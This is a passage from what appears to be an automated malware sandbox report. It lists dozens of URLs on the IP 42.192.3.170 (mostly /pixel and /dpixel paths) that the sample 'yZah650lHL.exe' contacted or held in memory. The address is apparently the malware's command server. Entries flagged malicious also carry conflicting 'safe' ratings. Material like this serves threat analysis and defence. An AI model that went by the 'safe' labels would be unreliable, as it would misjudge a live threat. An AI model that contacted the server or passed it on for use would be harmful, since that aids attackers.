https://42.192.3.170/dpixel0	0%	Avira URL Cloud	safe
https://42.192.3.170/pixel0	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixel)	0%	Avira URL Cloud	safe
https://42.192.3.170/dpixel;X	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://42.192.3.170/dpixel	true	Avira URL Cloud: safe	unknown
42.192.3.170	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://42.192.3.170/b-53011b87bd06	yZah650lHL.exe, 00000000.00000003.2402005752.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3230732408.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3369785762.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3191073968.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3250525186.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3211424591.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3094866758.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3271622558.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3113705174.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2458872458.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixelGX	yZah650lHL.exe, 00000000.00000003.2288370778.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1944793809.00000000007A4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixelcs	yZah650lHL.exe, 00000000.00000003.3467626542.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/vide	yZah650lHL.exe, 00000000.00000003.2270174330.00000000007B9000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2251319946.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixelhK	yZah650lHL.exe, 00000000.00000003.3011079051.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/ptography	yZah650lHL.exe, 00000000.00000003.1739905253.00000000007C1000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1739847137.00000000007B9000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1719801648.00000000007B9000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000002.4114142159.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1907581606.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3487466252.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1719918734.00000000007C1000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1758268591.00000000007B9000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1926725987.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/)	yZah650lHL.exe, 00000000.00000003.3407302077.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3448145276.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3427840081.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3369785762.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixelBX	yZah650lHL.exe, 00000000.00000003.2420730874.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1982892951.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2176453491.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixelz	yZah650lHL.exe, 00000000.00000003.3427840081.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixelphy	yZah650lHL.exe, 00000000.00000003.3230732408.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2325663976.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixely	yZah650lHL.exe, 00000000.00000003.2251319946.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2288485933.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2345864498.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2402005752.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2420730874.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2306808221.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2440141638.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1832985511.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2325663976.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2364539586.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2476981159.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2458872458.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2270174330.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2495218353.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2383203450.00000000007EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/%	yZah650lHL.exe, 00000000.00000003.2553907934.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2630411066.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2970624866.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2572561886.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixelxJ	yZah650lHL.exe, 00000000.00000003.3347918530.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2991067107.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3171943866.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3407302077.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3448145276.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/pixelq	yZah650lHL.exe, 00000000.00000003.2058516201.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixel3$	yZah650lHL.exe, 00000000.00000002.4113948673.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/pixelLMEM8x	yZah650lHL.exe, 00000000.00000003.2176453491.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2553907934.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2572561886.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixel)X	yZah650lHL.exe, 00000000.00000003.2176453491.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/0	yZah650lHL.exe, 00000000.00000003.2856843273.00000000007EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/9	yZah650lHL.exe, 00000000.00000003.3230732408.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1944932015.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1926725987.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/S:	yZah650lHL.exe, 00000000.00000003.3250525186.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixelm	yZah650lHL.exe, 00000000.00000003.1870269974.00000000007ED000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3308921920.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3487466252.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixelp	yZah650lHL.exe, 00000000.00000003.2913198165.00000000007BA000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3230732408.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3427840081.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3211424591.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://127.0.0.1:%u/	yZah650lHL.exe, 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/A	yZah650lHL.exe, 00000000.00000003.1851666148.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1832985511.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1813737040.00000000007EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixel1b87bd063	yZah650lHL.exe, 00000000.00000003.3328362680.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3132490030.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3347918530.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3031504097.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3071146501.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3369785762.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3407302077.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3448145276.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3308921920.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3051164954.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3427840081.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2176453491.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixelq	yZah650lHL.exe, 00000000.00000003.2251319946.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2288485933.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2232239149.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1963443471.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2553907934.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2270174330.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2383203450.00000000007EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixelt	yZah650lHL.exe, 00000000.00000003.1870269974.00000000007ED000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1832985511.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3113705174.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixel8s	yZah650lHL.exe, 00000000.00000003.2251319946.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixel1b87bd06	yZah650lHL.exe, 00000000.00000003.2402005752.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2991067107.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2420730874.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2440141638.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1963443471.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3487466252.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2970624866.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2950128022.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/F	yZah650lHL.exe, 00000000.00000003.2058516201.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3347918530.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1851666148.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1832985511.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000002.4114142159.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1813737040.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1982892951.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2232239149.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1963443471.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2002388791.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3427840081.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2176453491.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2078970685.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2383203450.00000000007EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixel$X	yZah650lHL.exe, 00000000.00000003.2039804636.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/pixelQ	yZah650lHL.exe, 00000000.00000003.2021019035.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1982892951.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2002388791.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2039906619.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://42.192.3.170/Q	yZah650lHL.exe, 00000000.00000003.2856843273.00000000007EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixela	yZah650lHL.exe, 00000000.00000003.3328362680.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1739759155.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3347918530.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1758268591.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3369785762.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2894333153.00000000007BA000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1719918734.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3407302077.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3250525186.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3448145276.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3467626542.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1776453698.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2950128022.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/M	yZah650lHL.exe, 00000000.00000003.2553907934.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixelM	yZah650lHL.exe, 00000000.00000003.1739759155.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1719918734.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1944932015.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1963443471.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1701127794.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2176453491.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://42.192.3.170/dpixelP	yZah650lHL.exe, 00000000.00000003.3308921920.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://42.192.3.170/nd-point:	yZah650lHL.exe, 00000000.00000003.3230732408.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2440141638.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1719918734.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000002.4114142159.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3250525186.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2476981159.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2176453491.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2553907934.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2856843273.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2572561886.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2458872458.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2495218353.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/pixelM	yZah650lHL.exe, 00000000.00000003.1758268591.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1794973018.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1776453698.00000000007EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixelQ	yZah650lHL.exe, 00000000.00000003.1963443471.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://42.192.3.170/dpixelXu	yZah650lHL.exe, 00000000.00000003.3031504097.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixeltem32	yZah650lHL.exe, 00000000.00000003.2856843273.00000000007EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixelS	yZah650lHL.exe, 00000000.00000002.4113948673.0000000000761000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/xel	yZah650lHL.exe, 00000000.00000003.2440141638.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3427840081.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixel7	yZah650lHL.exe, 00000000.00000002.4113948673.0000000000761000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixel#X	yZah650lHL.exe, 00000000.00000003.2232239149.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2553907934.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2288370778.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixel9	yZah650lHL.exe, 00000000.00000003.3132490030.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1719918734.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1832985511.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3407302077.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1813737040.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2630411066.00000000007EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/pixel1b87bd06	yZah650lHL.exe, 00000000.00000003.1739759155.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1758268591.00000000007EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/	yZah650lHL.exe, 00000000.00000003.2495218353.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2420843896.00000000007B9000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2383203450.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1926725987.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/pixel	yZah650lHL.exe, 00000000.00000003.2383203450.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1926725987.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/pixel9	yZah650lHL.exe, 00000000.00000003.3153029603.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixelHP	yZah650lHL.exe, 00000000.00000003.3153029603.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3369785762.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3487466252.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2950128022.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3271622558.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/pixel(	yZah650lHL.exe, 00000000.00000003.1758268591.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1776453698.00000000007EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/y	yZah650lHL.exe, 00000000.00000003.1851666148.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1832985511.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1813737040.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1794973018.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1776453698.00000000007EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixel=#	yZah650lHL.exe, 00000000.00000003.2251319946.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2058516201.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1888943587.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2021019035.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2402005752.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1851666148.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1870269974.00000000007ED000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2894333153.00000000007BA000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1832985511.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000002.4114142159.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3407302077.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1813737040.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1907581606.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1982892951.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1944932015.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2232239149.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1963443471.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2002388791.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2630411066.00000000007EB000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2970624866.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.3094866758.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://42.192.3.170/dpixeltz	yZah650lHL.exe, 00000000.00000003.2495218353.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.1944793809.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2058516201.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2077887934.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2364365771.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2476981159.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2232239149.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2553907934.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2440036654.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2021019035.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2420730874.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2345864498.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 00000000.00000003.2288370778.0000000000793000.00000004.00000020.00020000.00000000.sdmp, yZah650lHL.exe, 